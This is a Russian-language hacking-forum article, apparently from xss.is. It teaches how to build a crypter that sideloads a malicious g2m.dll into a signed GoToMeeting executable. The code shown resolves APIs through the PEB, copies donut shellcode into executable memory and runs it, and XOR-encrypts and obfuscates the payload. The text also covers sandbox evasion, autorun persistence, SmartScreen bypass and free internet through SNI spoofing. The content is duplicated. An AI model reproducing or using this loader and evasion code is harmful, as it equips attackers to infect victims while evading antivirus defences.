MoilerRenoiler
Midle Weight
- Депозит
- $0
Автор MoilerRenoiler
Источник https://xss.is
Заголовочек вышел немного кликбейтный, но всё же разберём один из способов обхода смарт скрина и напишем свой простенький криптер запускающий шеллкод. Так как я недавно залудоманил крупную сумму для меня, немного потерял связь с жизнью на несколько недель. Ну и ещё покажу как можно получить бесплатный безлимитный интернет если он у вас есть на мессенджеры по типу телеграмм, а основного трафика не осталось. Первый раз пишу что - то подобное здесь поэтому возможно где нибудь допустил ошибки, или же накосячил с кодом.
Софтина которая нам понадобиться для написания кода и его билда:
Спойлер: Установка vpnа / прокси + способ бесплатного интернета на тарифах с мессенджерами
На андроид так изрядно и ехидно что-то скачивать как здесь не надо и есть такая программа под названием v2rayng - https://play.google.com/store/apps/details?id=com.v2ray.ang&hl=ru&pli=1 или же гитхаб https://github.com/2dust/v2rayNG/releases.
Заходим в приложение нажимаем кнопку + и импорт из буфера обмена
После того как импортировали нажимаете кнопочку редактирования листаете в конец, видите SNI и пишите туда - web.telegram.org / web.whatapp.com и тд и включаете галочку разрешать небезопасные.
Далее нажимаем галочку для сохранения и коннектимся большой серой кнопкой с галочкой.
Заходим на официальный гитхаб Qv2Ray https://github.com/Qv2ray/Qv2ray/releases/tag/v2.7.0, качаем exe installer / или portable версию по желанию, в инсталлере тупо скипаем все шаги и пойдёт установка.
Качаем v2ray-core с релизов для полноценной работы Qv2Ray https://github.com/v2fly/v2ray-core/releases/tag/v4.31.0
Далее заходим в Qv2Ray и идём в Preferences и нас интересуют поля отмеченные крестиками, по дефолту там нечего не будет по этим путям, поэтому создаём папку vcore в папке qv2ray сами, или же распаковываем скачанный архив с vcore куда взадумается и прописываем пути к нему / выбираем кнопочкой Select.
Получиться так что в созданной vcore будут файлы с архива
После этого всего переходим к поиску бесплатного сервера, например можно взять здесь https://www.vpnjantit.com/ выбираем v2ray vmess / vless по желанию и видим что сервера есть в многих странах. Выбираем любую подходящую вам по скорости и тд.
На примере показываю русский сервер. Вводим рандомный username и вводим капчу, после чего в правом окне получим сгенеренный vmess link.
Справа получаем vmess linkm нажимаем copy link
Далее идём в Qv2Ray нажимаем кнопку import и в поле Share Link вставляем скопированное, далее увидим появиться ваш сервер и можно просто подключиться 2мя тапами или нажав кнопочку с треугольником.
Но это ещё не всё, как же получить бесплатный интернет? -> нажимаем edit as json и видим пункт tlssettings, меняем текст на этот, вместо web.telegram.org можно так же указать whatsapp или другой мессенджер.
"allowInsecure": true,
"fingerprint": "",
"publicKey": "",
"serverName": "web.telegram.org",
"shortId": "",
"show": false,
"spiderX": ""
В конце профит с бесплатным интернетом, тот же тариф с мессенджерами ультра дешманский и стоит порядка 100рублей у операторов.
Спойлер: Установка Clion
Заходим на сайт программы и нажимаем кнопку скачать, после чего вас перекинет на другую страницу с выбором системы.
Далее видим тип установки и выбираем windows, есть возможность скачать в зипе или под определённую архитектуру, но я выбрал просто нажать скачать exe installer. Если вы с России вам не дадут скачать нормально и придётся качать с впном.
Далее скачивается инсталлер, выбираем что вам нужно, допустим я выбрал ярлык на рабочий стол для удобства запуска, можно так же выбрать ассоциации с файлами, но для этого он неочень, блокнотик подходит лучше.
Для установки под linux скачиваем tar.gz архив.
Далее распаковываем его и получаем картину вида.
Для запуска clion идём в папку bin и далем его выполняемым, или же прописываем в терминале chmod +x путькфайлу.
Интерфейсы программ на винде и на линуксе не отличаются поэтому установку можно считать завершённой.
Спойлер: Установка компилятора
Заходим на https://github.com/mstorsjo/llvm-mingw идём в релизы.
Для винды выбираем компилер без приписок ubuntu и macos с концом x86_x64.
Для линукса выбираем ubuntu x86_x64.
Компилеры и под винду и под линукс особо не чем не отличаются в плане расположения и имён файлов(в винде .exe добавляется). Для того чтобы добавить компилер в Clion надо нажать New Project, т.к у нас DllSideLoad проект выбираем C++ Library и Shared, впрочему это не особо важно потому, что в любой момент это можно изменить в CMakeLists.txt.
После того как проект создался идём в File потом в Settings.
Далее идём в Build / Execution... Там нас интересует вкладка ToolChains
Нажимаем там на плюсик и выбираем System
Далее идём к скачанному нами компилятору распаковываем его в какую-нибудь папку.
Далее идём опять в Clion и вписываем в поля
C Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-gcc / Если 32 битный путькпапке/bin/i686-w64-mingw32-gcc
C++ Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-g++ / Если 32 битный путькпапке/bin/i686-w64-mingw32-g++
Перетаскимваем ваш добавленный компилер в самый вверх если хотите чтобы он использовался по дефолту
Компилер настроен. Приступаем к шагу поиска уязвимого exe для наших утех.
Спойлер: Поиск уязвимого exe и написание кода
Немного порывшись на форуме в платном разделе малварей мы можем заметить интересные предложения с криптом, которые обходят смарт скрин и в целом показывают "неплохой рантайм" соверщенно без дллки в которой располагается реальная нагрузка с вирусом. Посмотрев их софт можно увидеть что он написан на Rust, но так же приглядевшись к их результатам скана мы замечаем имя g2m.dll not found или же G2M.exe тут не надо быть экстрасенсом достаточно вбить в гугл g2m.dll и увидим что это приложение GoToMeeting примерно 2 летней давности т.к. сейчас оно стало 64 битным и в целом нету 32 битных релизов. Находим в интернете G2M.exe архитектуры x86 скачивам.
Переходим в сведения и видим что файл подписан и весит порядка 40kb
Подпись действительна по сей день и её не отозвали.
Итак мы нашли кандидата для нашей задумки, далее заходим в скачанную Ida Pro нажимаем New в окошке, далее перетаскиваем файл и нажимаем OK,
Далее после того как мы зашли и файл прогрузился нас интересует вкладочка Imports
Как мы видим присутсвуют различные импорты с системы и один единственный с g2m.dll, переходим на него
Видим что скорее всего это WinMain с его же 3мя аргументами. Если поискать упоминания в коде увидим как вызывается функция
Нажимаем jump to xref для этого sub_xxxx
И видим что эта функция является точкой входа приложения. Предполагаем что аргументы как у WinMain или же их попросту нету. Приступаем к написанию кода.
Спойлер: Написание кода малвари
У нас уже есть открытый проект в Clion но мы там не до конца всё закончили, опять заходим в CMakeLists.txt и нам нужно будет добавить флаги компиляции чтобы библиотека нормально функционировала и не нуждалась в других dllках.
Добавляем код в CMakeLists.txt после set
Makefile: Скопировать в буфер обмена
Так же чтобы каждый раз не переименовывать дллку самим добавляем ещё немного кода после add_library
Вместо DllSideLoad ваше имя из add_library.
Код: Скопировать в буфер обмена
Итоговый CMakeLists.txt будет следующего вида
Далее идём в наш library.cpp файл и сносим всё под чистую. Делаем наш импорт и тестовый MessageBox чтобы проверить работает ли наша затея.
C++: Скопировать в буфер обмена
Билдим нажимая молоточек в Clion, на линуксе у вас будет прикол в том что сбилдиться неправильно поэтому там меняем add_library на add_executable
Далее после билда закидываем дллку рядом с G2M.exe и видим что она не отторгается как инородный обьект и выполняется наш MessageBox.
Давайте напишем простейший выполнитель шеллкода и проверим уже дальше, меня бы он не устроил и я выбрал немного другой путь.
C++: Скопировать в буфер обмена
Для начала сделаем скроем получение PEB(Process Environment Block), по дефолту это
Но я хочу скрыть это получение и чтобы не было видно что оно существует, как можно это сделать?
C++: Скопировать в буфер обмена
Далее получаю библиотеку kernel32.dll в которой лежат наши функции без GetModuleHandle и LoadLibrary используя LDR_DATA_TABLE_ENTRY и адрес GetProcAdress, особого смысла это не несёт но всё же, т.к мы ищем в списке экспортированных функций.
Так же для скрытия использования memcpy из других библиотек будем испольховать макрос:
C++: Скопировать в буфер обмена
Тестовый шеллкод я зделаю при помощи бублика -> https://github.com/TheWover/donut предварительно рекомпилировав его. Запускаем бублик и видим его аргументы.
Нас интересуют -a - выбор архитектуры 1 - x32, 2 - x64, и компрессия -z 2 - аплибом т.к я на линуксе на винде же больше методов, я могу использовать и бублик для винды с помощью wine. Флаг -e по дефолту нас устраивает, -i - input ваш файл, -o output конечный файл., -f тип конечного файла - 3 для нашего выбранного C подобного языка .
И получается что ./donut -a 1 -z 2 -f 3 -i exe -o shellcode. На выходе получим .h файл с шелкодом.
Импортим этот файл #include "имя". Получаем следующий конечный код по итогу.
C++: Скопировать в буфер обмена
Как мы видим и можем наблюдать наш шеллкод успешно отработал и запустил наш пейлоад.
Следующими шагами мы будем добавлять обфускацию строк и засерания кода мусором.
Для шифрования строк в CompileTime мы будем использовать репозиторий https://github.com/adamyaxley/Obfuscate.
Копируем код с obfuscate.h или скачиваем его и кидаем к нам в проект, дальше
Для обфускции строки достаточно будет написать AY_OBFUSCATE и поместить туда нашу строку.
Давайте же посмотрим теперь как стал выглядеть код в декомпиляторе. В качестве примера сделаю после и до.
Как мы видим добавилась проста туча мусорного кода в те места где было пусто и код растянулся почти в 5 раз.
Для шифра самого же шеллкода можно сделать простейший xor метод, в качестве ключа будет выступать Integer значение, а так же немного запутаем код добавив rand(), код будет универсальным как для дешифровки так и шифровки, в теории можно ещё прикрутить компрессию, но она у нас имеется уже в бублике и прекрасно работает.
C++: Скопировать в буфер обмена
Давайте теперь создадим программу под этот код чтобы шифровать полученный нами шеллкод.
Для этого добавляем в CMakeLists.txt несколько новых строчек чтобы компилировать новоиспеченный энкриптер в .exe
Код: Скопировать в буфер обмена
И пишем код для шифрования файлика, для начала почему мы добавили флаг -municode? потому что если юзер араб то у него будут далеко не анси строки и по просту не будет работать приложение и нужна будет папка с латинскими буквами C:/latin.
C++: Скопировать в буфер обмена
В коде мы читаем 2 первых аргумента input, output и дальше просто получаем текст с файла в std::string и впоследствии его шифруем, и записываем с помощью wostream и конвертации std:;string в std::wstring, тоесть из короткой строки в широкую юникодную.
Обновлённый library.h, туда я поместил default_key и метод шифования пейлоада.
C++: Скопировать в буфер обмена
Далее я добавил base64.h чтобы файл корректно записывался на диск потому что мы ломали полностью wstring, и даже windowsвскую файловую библиотеку, она попросту читала неправильную длинну.
C++: Скопировать в буфер обмена
Теперь в том же donut выполняем ту же самую команду только убираем аргумент -f, чтобы генерился bin файл шеллкода.
Далее используем наш скомпиленный Encrypter.exe
Файл сохранился в ваш путь далее идём в любой hex редактор например HxD на винде, для линукса Okteta. Там выбираем Правка -> Копировать как Массив C, в HxD примерно такой же алгоритм.
Создаём новый файл payload.h инклудаем его и base64.h в library.cpp
Код: Скопировать в буфер обмена
Далее чуть чуть изменяем код в library.cpp для лоада шифрованного пейлоада, добавляем base64_decode и дешифровку + немного меняем код где виртуал алоки.
C++: Скопировать в буфер обмена
Вот если честно на этом моменте я больше всего устал и фиксил примерно полчаса свой затуп но по итогу код исполняется и работает.
Спойлер: Предохраняемся от вирустотала простыми трюками
Всех наверное закалёбывают боты с вирустотала которые вечно стучат на файл, или другие конченные AnyRun машины и другая подобная херь, решил показать как можно предохраниться от половины если у вас Dllка, но можно будет юзать и в exe думаю. Добавляю опять же call на GetUserNameA, создаю typedef.
C++: Скопировать в буфер обмена
Так как данная функция находиться в ADVAPI32 нам нужно будет загрузить её через LoadLibrary
C++: Скопировать в буфер обмена
Примерно таким образом мы добавляем функцию в нашу дллку, теперь как же ещё можно предостеречься, если посмотреть на зенбокс то он всегда грузит вашу дллку через rundll32, соответственно мы можем просто исключить чтобы наша дллка была загружена в программах с системной папки или по другому, но это немного туповато но в целом код выглядел бы так.
C++: Скопировать в буфер обмена
Спойлер: Добавление автозагрузки
Допустим у вас закриптована ратка или другая программа как же сделать автозагрузку? В целом можно тупо добавить файл из директории темп и дело сделано, но есть и другие пути автозагрузки.
Первое давайте создадим собственнный пампер код на плюсах, да будет максимально не оптимизированным и ему нужно будет время чтобы запампить файл, но всё же, код тупо добавляет пробел и записывает его в конец файла в цикле который считает сколько мегабайт мы добавили.
C++: Скопировать в буфер обмена
Далее давайте сделаем простейшую автозагрузку с копированием файлов в директорию юзера и пампом дллки на 100мб.
Для начала создадим метод для конвертации cStr в wStr.
C++: Скопировать в буфер обмена
Пишем код автозагрузки выйдет примерно так, в нём мы предварительно удаляем dll если нету исполняемого и записываем туда наш новый файл, и потом проверяем есть ли exe по данному пути чтобы множество раз не обновлять,
C++: Скопировать в буфер обмена
Проверяем наш код перезагрузкой системы и отрабатывает он неплохо.
Но так же есть ещё другие способы автозагрузки например -> rundll32.exe path,Entry в реестре автозагрузки вместо нашего пути к исполняемому файлу.
В целом статью разжевал как мог, скомпиленные исходники прикреплю рядом ниже, там в архиве будет бублик, encrypter, сами исходники и G2M.exe + скомпиленная дллка как пример / дллка без обфускции noobf.dll. Минус данного метода заключается в новой появившейся в Windows 11 Smart App Control которая впрочем легко обходиться взятием подписи SignThief с ехе где она ревокнута, или затеранием части подписи чтобы было написано Revoked. Для байпасса хром алерта достаточно будет запампить файлы dll и добавить мусора в архив, скантайм детект -> https://avcheck.net/id/9Eq0MqQf3yqi , скорее всего из-за того что я засрал компилер в хламину и хеллоу ворллд у меня с 20 детектами на вт у меня). Возможно на винде коды придётся интрпретировать по другому потому, что там иногда не все функции имеются в библиотеках. Возможно в статье допустил грамматические ошибки или же вставил код до его фикса / или до окончания дописания, такие моменты выделяйте, исправлю. Очень устал от написания данной статьи, итак был измотан, но всё же думаю стоило попробовать. Не успел показать как быстро чистить код + использовать Llvm обфускатор, если память не изменяет видел на форуме как его юзают с MinGW. Так же думаю добавил бы в будущем обходы виртуализации и песочниц.
Пароль к архиву md5 местный пароль -> sha1 архив 7z формата.
По символам я скорее всего не прошёл на оплату статей, но всё же решил сделать, кто хочет может отправить копеечку,
BTC: bc1q0j03p529x89347dulxc76nxqfuhjjehp6pfruy
ETH / MATIC / BNB и ему подобные: 0xE48Ca4860Fb3a76F318872744BA32F7682Af5b4a
LTC: ltc1qm29d5ukx49rdw035d9arw3l36nyytw0esnhvl8
USDT / TRX:
THTZJ1sV29TiTja9Gxq9rbnDoSuidgp2x6
Источник https://xss.is
Заголовочек вышел немного кликбейтный, но всё же разберём один из способов обхода смарт скрина и напишем свой простенький криптер запускающий шеллкод. Так как я недавно залудоманил крупную сумму для меня, немного потерял связь с жизнью на несколько недель. Ну и ещё покажу как можно получить бесплатный безлимитный интернет если он у вас есть на мессенджеры по типу телеграмм, а основного трафика не осталось. Первый раз пишу что - то подобное здесь поэтому возможно где нибудь допустил ошибки, или же накосячил с кодом.
Софтина которая нам понадобиться для написания кода и его билда:
- Ida Pro with HexRays
- Clion / Visual Studio / Блокнотик
- Впн если вы с России попытаетесь скачать Clion.
- MinGW или другой компилятор
Спойлер: Установка vpnа / прокси + способ бесплатного интернета на тарифах с мессенджерами
На андроид так изрядно и ехидно что-то скачивать как здесь не надо и есть такая программа под названием v2rayng - https://play.google.com/store/apps/details?id=com.v2ray.ang&hl=ru&pli=1 или же гитхаб https://github.com/2dust/v2rayNG/releases.
Заходим в приложение нажимаем кнопку + и импорт из буфера обмена
После того как импортировали нажимаете кнопочку редактирования листаете в конец, видите SNI и пишите туда - web.telegram.org / web.whatapp.com и тд и включаете галочку разрешать небезопасные.
Далее нажимаем галочку для сохранения и коннектимся большой серой кнопкой с галочкой.
Заходим на официальный гитхаб Qv2Ray https://github.com/Qv2ray/Qv2ray/releases/tag/v2.7.0, качаем exe installer / или portable версию по желанию, в инсталлере тупо скипаем все шаги и пойдёт установка.
Качаем v2ray-core с релизов для полноценной работы Qv2Ray https://github.com/v2fly/v2ray-core/releases/tag/v4.31.0
Далее заходим в Qv2Ray и идём в Preferences и нас интересуют поля отмеченные крестиками, по дефолту там нечего не будет по этим путям, поэтому создаём папку vcore в папке qv2ray сами, или же распаковываем скачанный архив с vcore куда взадумается и прописываем пути к нему / выбираем кнопочкой Select.
Получиться так что в созданной vcore будут файлы с архива
После этого всего переходим к поиску бесплатного сервера, например можно взять здесь https://www.vpnjantit.com/ выбираем v2ray vmess / vless по желанию и видим что сервера есть в многих странах. Выбираем любую подходящую вам по скорости и тд.
На примере показываю русский сервер. Вводим рандомный username и вводим капчу, после чего в правом окне получим сгенеренный vmess link.
Справа получаем vmess linkm нажимаем copy link
Далее идём в Qv2Ray нажимаем кнопку import и в поле Share Link вставляем скопированное, далее увидим появиться ваш сервер и можно просто подключиться 2мя тапами или нажав кнопочку с треугольником.
Но это ещё не всё, как же получить бесплатный интернет? -> нажимаем edit as json и видим пункт tlssettings, меняем текст на этот, вместо web.telegram.org можно так же указать whatsapp или другой мессенджер.
"allowInsecure": true,
"fingerprint": "",
"publicKey": "",
"serverName": "web.telegram.org",
"shortId": "",
"show": false,
"spiderX": ""
В конце профит с бесплатным интернетом, тот же тариф с мессенджерами ультра дешманский и стоит порядка 100рублей у операторов.
Спойлер: Установка Clion
Заходим на сайт программы и нажимаем кнопку скачать, после чего вас перекинет на другую страницу с выбором системы.
Далее видим тип установки и выбираем windows, есть возможность скачать в зипе или под определённую архитектуру, но я выбрал просто нажать скачать exe installer. Если вы с России вам не дадут скачать нормально и придётся качать с впном.
Далее скачивается инсталлер, выбираем что вам нужно, допустим я выбрал ярлык на рабочий стол для удобства запуска, можно так же выбрать ассоциации с файлами, но для этого он неочень, блокнотик подходит лучше.
Для установки под linux скачиваем tar.gz архив.
Далее распаковываем его и получаем картину вида.
Для запуска clion идём в папку bin и далем его выполняемым, или же прописываем в терминале chmod +x путькфайлу.
Интерфейсы программ на винде и на линуксе не отличаются поэтому установку можно считать завершённой.
Спойлер: Установка компилятора
Заходим на https://github.com/mstorsjo/llvm-mingw идём в релизы.
Для винды выбираем компилер без приписок ubuntu и macos с концом x86_x64.
Для линукса выбираем ubuntu x86_x64.
Компилеры и под винду и под линукс особо не чем не отличаются в плане расположения и имён файлов(в винде .exe добавляется). Для того чтобы добавить компилер в Clion надо нажать New Project, т.к у нас DllSideLoad проект выбираем C++ Library и Shared, впрочему это не особо важно потому, что в любой момент это можно изменить в CMakeLists.txt.
После того как проект создался идём в File потом в Settings.
Далее идём в Build / Execution... Там нас интересует вкладка ToolChains
Нажимаем там на плюсик и выбираем System
Далее идём к скачанному нами компилятору распаковываем его в какую-нибудь папку.
Далее идём опять в Clion и вписываем в поля
C Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-gcc / Если 32 битный путькпапке/bin/i686-w64-mingw32-gcc
C++ Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-g++ / Если 32 битный путькпапке/bin/i686-w64-mingw32-g++
Перетаскимваем ваш добавленный компилер в самый вверх если хотите чтобы он использовался по дефолту
Компилер настроен. Приступаем к шагу поиска уязвимого exe для наших утех.
Спойлер: Поиск уязвимого exe и написание кода
Немного порывшись на форуме в платном разделе малварей мы можем заметить интересные предложения с криптом, которые обходят смарт скрин и в целом показывают "неплохой рантайм" соверщенно без дллки в которой располагается реальная нагрузка с вирусом. Посмотрев их софт можно увидеть что он написан на Rust, но так же приглядевшись к их результатам скана мы замечаем имя g2m.dll not found или же G2M.exe тут не надо быть экстрасенсом достаточно вбить в гугл g2m.dll и увидим что это приложение GoToMeeting примерно 2 летней давности т.к. сейчас оно стало 64 битным и в целом нету 32 битных релизов. Находим в интернете G2M.exe архитектуры x86 скачивам.
Переходим в сведения и видим что файл подписан и весит порядка 40kb
Подпись действительна по сей день и её не отозвали.
Итак мы нашли кандидата для нашей задумки, далее заходим в скачанную Ida Pro нажимаем New в окошке, далее перетаскиваем файл и нажимаем OK,
Далее после того как мы зашли и файл прогрузился нас интересует вкладочка Imports
Как мы видим присутсвуют различные импорты с системы и один единственный с g2m.dll, переходим на него
Видим что скорее всего это WinMain с его же 3мя аргументами. Если поискать упоминания в коде увидим как вызывается функция
Нажимаем jump to xref для этого sub_xxxx
И видим что эта функция является точкой входа приложения. Предполагаем что аргументы как у WinMain или же их попросту нету. Приступаем к написанию кода.
Спойлер: Написание кода малвари
У нас уже есть открытый проект в Clion но мы там не до конца всё закончили, опять заходим в CMakeLists.txt и нам нужно будет добавить флаги компиляции чтобы библиотека нормально функционировала и не нуждалась в других dllках.
Добавляем код в CMakeLists.txt после set
Makefile: Скопировать в буфер обмена
Code:
set(CMAKE_CXX_FLAGS "-w -s -Oz -ffunction-sections -fdata-sections -Wl,--gc-sections -fvisibility=hidden -mavx2 -mbmi2 -DNDEBUG")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-narrowing")
set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -shared -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lwinpthread -Wl,--no-whole-archive")
Так же чтобы каждый раз не переименовывать дллку самим добавляем ещё немного кода после add_library
Вместо DllSideLoad ваше имя из add_library.
Код: Скопировать в буфер обмена
Code:
set_target_properties( DllSideLoad
PROPERTIES
OUTPUT_NAME "g2m"
SUFFIX ".dll")
Итоговый CMakeLists.txt будет следующего вида
Далее идём в наш library.cpp файл и сносим всё под чистую. Делаем наш импорт и тестовый MessageBox чтобы проверить работает ли наша затея.
C++: Скопировать в буфер обмена
Code:
#include "windows.h"
extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
}break;
}
return TRUE;
}
}
Билдим нажимая молоточек в Clion, на линуксе у вас будет прикол в том что сбилдиться неправильно поэтому там меняем add_library на add_executable
Далее после билда закидываем дллку рядом с G2M.exe и видим что она не отторгается как инородный обьект и выполняется наш MessageBox.
Давайте напишем простейший выполнитель шеллкода и проверим уже дальше, меня бы он не устроил и я выбрал немного другой путь.
C++: Скопировать в буфер обмена
Code:
PVOID shellcode_exec = VirtualAlloc(0, decrypted_data.length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
mem_copy(shellcode_exec, decrypted_data.data(), decrypted_data.length());
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
Для начала сделаем скроем получение PEB(Process Environment Block), по дефолту это
__readfsdword(
0x30
);
Но я хочу скрыть это получение и чтобы не было видно что оно существует, как можно это сделать?
C++: Скопировать в буфер обмена
Code:
long addr(){
return 0x30 * 14;
}
void execute()
{
long read = addr() / 14;
PPEB pPEB = (PPEB)__readfsdword(read);
Так же для скрытия использования memcpy из других библиотек будем испольховать макрос:
C++: Скопировать в буфер обмена
Code:
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}
Тестовый шеллкод я зделаю при помощи бублика -> https://github.com/TheWover/donut предварительно рекомпилировав его. Запускаем бублик и видим его аргументы.
Нас интересуют -a - выбор архитектуры 1 - x32, 2 - x64, и компрессия -z 2 - аплибом т.к я на линуксе на винде же больше методов, я могу использовать и бублик для винды с помощью wine. Флаг -e по дефолту нас устраивает, -i - input ваш файл, -o output конечный файл., -f тип конечного файла - 3 для нашего выбранного C подобного языка .
И получается что ./donut -a 1 -z 2 -f 3 -i exe -o shellcode. На выходе получим .h файл с шелкодом.
Импортим этот файл #include "имя". Получаем следующий конечный код по итогу.
C++: Скопировать в буфер обмена
Code:
#include <winternl.h>
#include "windows.h"
#include "library.h"
void execute();
extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){
return 0;
}
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}
typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
typedef LPVOID(WINAPI *PVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef HANDLE(WINAPI *PGetCurrentProcess)(VOID);
typedef WINBOOL(WINAPI *PWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
long addr(){
return 0x30 * 14;
}
void execute()
{
long read = addr() / 14;
PPEB pPEB = (PPEB)__readfsdword(read);
PPEB_LDR_DATA pLoaderData = pPEB->Ldr;
PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;
PLIST_ENTRY listCurrent = listHead->Flink;
PVOID kernel32Address;
do
{
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);
PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);
WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);
CharUpperA(dllName);
if (strstr(dllName, "KERNEL32.DLL"))
{
kernel32Address = dllEntry->DllBase;
HeapFree(GetProcessHeap(), 0, dllName);
break;
}
HeapFree(GetProcessHeap(), 0, dllName);
listCurrent = listCurrent->Flink;
} while (listCurrent != listHead);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);
PGetModuleHandleA pGetModuleHandleA = NULL;
PGetProcAddress pGetProcAddress = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "GetModuleHandleA"))
{
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (!strcmp(pFunctionName, "GetProcAddress"))
{
pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");
PVirtualAllocEx funcVirtualAllocEx = (PVirtualAllocEx)pGetProcAddress(hKernel32, "VirtualAllocEx");
PGetCurrentProcess funcGetCurrentProcess = (PGetCurrentProcess)pGetProcAddress(hKernel32, "GetCurrentProcess");
PWriteProcessMemory funcWriteProcessMemory = (PWriteProcessMemory)pGetProcAddress(hKernel32, "WriteProcessMemory");
void* Process = funcGetCurrentProcess();
PVOID allocatedMem = funcVirtualAllocEx(Process,0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
exit(EXIT_FAILURE);
}
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, (LPCVOID)&buf, sizeof(buf), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
}
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
execute();
}break;
}
return TRUE;
}
Следующими шагами мы будем добавлять обфускацию строк и засерания кода мусором.
Для шифрования строк в CompileTime мы будем использовать репозиторий https://github.com/adamyaxley/Obfuscate.
Копируем код с obfuscate.h или скачиваем его и кидаем к нам в проект, дальше
#include "obfuscate.h"
Для обфускции строки достаточно будет написать AY_OBFUSCATE и поместить туда нашу строку.
Давайте же посмотрим теперь как стал выглядеть код в декомпиляторе. В качестве примера сделаю после и до.
Как мы видим добавилась проста туча мусорного кода в те места где было пусто и код растянулся почти в 5 раз.
Для шифра самого же шеллкода можно сделать простейший xor метод, в качестве ключа будет выступать Integer значение, а так же немного запутаем код добавив rand(), код будет универсальным как для дешифровки так и шифровки, в теории можно ещё прикрутить компрессию, но она у нас имеется уже в бублике и прекрасно работает.
C++: Скопировать в буфер обмена
Code:
std::string EncryptDecrypt(const std::string& input, int key) {
std::string output = input;
char a;
key = rand() % 99;
for(size_t i = 0; i < input.length(); ++i) {
a = input[i];
int b = static_cast<int>(a);
b ^= key;
a = static_cast<char>(b);
output[i] = a;
}
return output;
}
Давайте теперь создадим программу под этот код чтобы шифровать полученный нами шеллкод.
Для этого добавляем в CMakeLists.txt несколько новых строчек чтобы компилировать новоиспеченный энкриптер в .exe
Код: Скопировать в буфер обмена
Code:
set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -static -municode")
add_executable(Encrypter encrypter.cpp)
